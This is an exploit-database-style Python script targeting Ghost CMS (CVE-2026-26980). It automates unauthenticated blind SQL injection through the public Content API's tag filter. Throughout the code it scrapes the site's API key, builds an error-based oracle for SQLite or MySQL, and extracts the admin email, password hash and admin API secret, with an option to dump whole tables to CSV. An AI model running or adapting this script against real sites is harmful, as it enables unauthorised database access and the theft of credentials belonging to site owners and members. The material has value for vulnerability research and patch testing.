# Exploit Title: Ghost CMS Unauthenticated SQLi via Content API # Date: 2026-03-30 # Exploit Author: Maksim Rogov # Exploit Licence: GPL-3.0 # Software Link: https://ghost.org/ # Version: Ghost >= 3.24.0, <= 6.19.0 # Tested on: Ghost 6.16.1 # CVE : CVE-2026-26980 #!/usr/bin/env python3 import requests import re import sys import argparse import textwrap import csv from typing import Optional from concurrent.futures import ThreadPoolExecutor from urllib.parse import urljoin, urlparse CHARSET = "".join(sorted(set("$./0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz@!#%^&*()+-="))) ERROR_INDICATOR = "InternalServerError" DEFAULT_THREADS = 15 def to_char_hex(s: str): return "||".join([f"char({ord(c)})" for c in s]) class GhostExploit: def __init__(self, target_url: str, threads: int = DEFAULT_THREADS, dbms: str = "sqlite", output: str = None, user_cols: str = None, verify: bool = True, manual_key: str = None, manual_path: str = None): self.target = target_url.rstrip('/') self.threads = threads self.dbms = dbms.lower() self.output = output self.user_cols = [c.strip() for c in user_cols.split(',')] if user_cols else None self.session = requests.Session() self.session.verify = verify self.manual_key = manual_key self.manual_path = manual_path if not verify: import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) self.api_key, self.endpoint, self.tag_slug, self.tag_id, self.url_template = "", "", "", "", "" def discover(self) -> bool: try: if self.manual_key and self.manual_path: self.api_key = self.manual_key self.endpoint = urljoin(self.target, self.manual_path) if not self.endpoint.endswith('/'): self.endpoint += '/' else: r = self.session.get(self.target, timeout=10) self.api_key = re.search(r'data-key="([a-f0-9]+)"', r.text).group(1) api_raw = re.search(r'data-api="([^"]+)"', r.text).group(1) path = urlparse(api_raw).path self.endpoint = urljoin(self.target, path) if not self.endpoint.endswith('/'): self.endpoint += '/' r_tags = self.session.get(f"{self.endpoint}tags/?key={self.api_key}", timeout=10).json() tag = r_tags['tags'][0] self.tag_slug, self.tag_id = tag['slug'], tag['id'] self.url_template = f"{self.endpoint}tags/?key={self.api_key}&filter=slug:['*',{self.tag_slug}]&limit=all" return True except: return False def check(self, cond: str) -> bool: if self.dbms == "mysql": err_payload = "(SELECT exp(710))" else: err_payload = "(SELECT abs(-9223372036854775808))" payload = f" OR ({cond}) THEN {err_payload} WHEN slug=" try: r = self.session.get(self.url_template.replace("*", payload, 1), timeout=7) return "badrequesterror" in r.text.lower() or ERROR_INDICATOR.lower() in r.text.lower() except: return False def get_len(self, query: str) -> int: length = 0 for bit in [64, 32, 16, 8, 4, 2, 1]: if self.check(f"LENGTH(({query}))>={length + bit}"): length += bit return length def get_char(self, query: str, pos: int) -> str: low, high = 0, len(CHARSET) - 1 while low < high: mid = (low + high) // 2 char_code = ord(CHARSET[mid + 1]) if self.dbms == "mysql": cond = f"ASCII(SUBSTR(({query}) FROM {pos} FOR 1))>={char_code}" else: prefix = "||".join(["char(63)"] * (pos - 1)) c_range = f"char(91)||char({char_code})||char(45)||char({ord(CHARSET[-1])})||char(93)" cond = f"({query}) GLOB {prefix}||{c_range}||char(42)" if prefix else f"({query}) GLOB {c_range}||char(42)" if self.check(cond): low = mid + 1 else: high = mid return CHARSET[low] def extract(self, query: str, label: str, force_len: int = None) -> str: length = force_len if force_len is not None else self.get_len(query) if length <= 0: return "" chars = [""] * length with ThreadPoolExecutor(max_workers=self.threads) as ex: futures = {ex.submit(self.get_char, query, i+1): i for i in range(length)} for f in futures: chars[futures[f]] = f.result() sys.stdout.write(f"\r {label} ({length} chars): {''.join(c if c else '.' for c in chars)}") sys.stdout.flush() res = "".join(chars) sys.stdout.write(f"\r {label} ({length} chars): {res}\n") return res def print_table(self, columns, rows): if not rows: return widths = {col: len(col) for col in columns} for row in rows: for col in columns: widths[col] = max(widths[col], len(str(row.get(col, "")))) sep = "+" + "+".join(["-" * (widths[col] + 2) for col in columns]) + "+" head = "|" + "|".join([f" {col.ljust(widths[col])} " for col in columns]) + "|" print("\n" + sep) print(head) print(sep) for row in rows: line = "|" + "|".join([f" {str(row.get(col, '')).ljust(widths[col])} " for col in columns]) + "|" print(line) print(sep + "\n") def dump_table(self, table_name: str): print(f"\n[*] Dumping table: {table_name}") cast_type = "CHAR" if self.dbms == "mysql" else "TEXT" count_str = self.extract(f"SELECT CAST(COUNT(*) AS {cast_type}) FROM {table_name}", "Total records") count = int(count_str) if count_str.isdigit() else 0 if count == 0: print("[!] No records found or table doesn't exist.") return if self.user_cols: columns = self.user_cols print(f"[*] Using user-defined columns: {', '.join(columns)}") elif self.dbms == "sqlite": t_name_char = to_char_hex(table_name) schema_query = f"SELECT sql FROM sqlite_master WHERE name={t_name_char}" cols_raw = self.extract(schema_query, "Schema") columns = re.findall(r'([a-zA-Z_]+)\s+(?:TEXT|VARCHAR|INT|DATETIME|TIMESTAMP|BOOLEAN)', cols_raw, re.I) else: columns = ['id', 'email', 'name', 'password', 'status'] if not columns: columns = ['id', 'email'] all_rows = [] for i in range(count): print(f"\n --- Record #{i+1} ---") current_row = {} for col in columns: val = self.extract(f"SELECT {col} FROM {table_name} LIMIT 1 OFFSET {i}", col) current_row[col] = val all_rows.append(current_row) self.print_table(columns, all_rows) if self.output: try: with open(self.output, 'w', newline='', encoding='utf-8') as f: writer = csv.DictWriter(f, fieldnames=columns) writer.writeheader() writer.writerows(all_rows) print(f"[+] Exported to {self.output}") except Exception as e: print(f"[!] Export error: {e}") def run(self, table_to_dump: Optional[str] = None): if not self.discover(): print("[!] Discovery failed.") return print("================================================================") print(f"Ghost CMS - Unauthenticated SQLi Data Extraction") print(f"Target: {self.target}") print(f"API Key: {self.api_key}") print(f"Tag ID: {self.tag_id}") print("Endpoint: Content API (public, no auth)") print("================================================================") print("\n[*] Calibrating oracle... OK") if not self.check("1=1"): print("[!] Oracle calibration failed.") return if table_to_dump: self.dump_table(table_to_dump) else: print("\n[*] Phase 1: Recon (fast checks)") l_email = self.get_len("SELECT email FROM users LIMIT 1") print(f" length(users.email) = {l_email}") l_pass = self.get_len("SELECT password FROM users LIMIT 1") print(f" length(users.password) = {l_pass}") l_name = self.get_len("SELECT name FROM users LIMIT 1") print(f" length(users.name) = {l_name}") l_status = self.get_len("SELECT status FROM users LIMIT 1") print(f" length(users.status) = {l_status}") for t in ["users", "members", "api_keys", "sessions"]: cast_t = "CHAR" if self.dbms == "mysql" else "TEXT" self.extract(f"SELECT CAST(COUNT(*) AS {cast_t}) FROM {t}", f"count({t})") print("\n[*] Phase 2: Extracting values") self.extract("SELECT email FROM users LIMIT 1", "Admin email", l_email) self.extract("SELECT name FROM users LIMIT 1", "Admin name", l_name) adm_type = to_char_hex("admin") self.extract(f"SELECT id FROM api_keys WHERE type={adm_type} LIMIT 1", "Admin API key ID") self.extract(f"SELECT secret FROM api_keys WHERE type={adm_type} LIMIT 1", "Admin API secret") self.extract("SELECT password FROM users LIMIT 1", "Password hash", l_pass) if __name__ == "__main__": parser = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent(""" Usage Examples: python3 main.py -u http://target.com (Quickly extract Admin email and Password Hash from a default SQLite setup) python3 main.py -u http://target.com -d mysql -T users -C email,password -o ./result.csv (Dump of 'email' and 'password' columns from the 'users' table) python3 main.py -u http://target.com -d mysql -T api_keys -t 25 (Dump all site api keys from 'api_keys' table using 25 threads) Note: Most production Ghost instances use MySQL. Local/Small blogs use SQLite. """) ) parser.add_argument("-u", "--url", required=True, metavar="URL", help="The base URL of the target Ghost") parser.add_argument("--api-key", metavar="KEY", help="Ghost Content API Key (skips auto-discovery)") parser.add_argument("-p", "--api-path", metavar="PATH", help="Content API path (e.g., /ghost/api/content/)") parser.add_argument("-k", "--insecure", action="store_true", help="Allow insecure server connections when using SSL (ignore SSL certificate errors)") parser.add_argument("-t", "--threads", type=int, default=DEFAULT_THREADS, metavar="N", help=f"Number of concurrent threads for faster extraction (default: {DEFAULT_THREADS})") parser.add_argument("-d", "--dbms", default="sqlite", choices=["sqlite", "mysql"], help="The database engine Ghost is running on. Default: sqlite") parser.add_argument("-T", "--table", metavar="NAME", help="Specific database table to dump (e.g., users, api_keys, members, posts)") parser.add_argument("-C", "--columns", metavar="COL1,COL2", help="Specific columns to extract (comma separated)") parser.add_argument("-o", "--output", metavar="FILE", help="Save results to CSV file") args = parser.parse_args() try: exploit = GhostExploit(args.url, args.threads, args.dbms, args.output, args.columns, not args.insecure, args.api_key, args.api_path) exploit.run(args.table) except KeyboardInterrupt: print("\n[!] Aborted")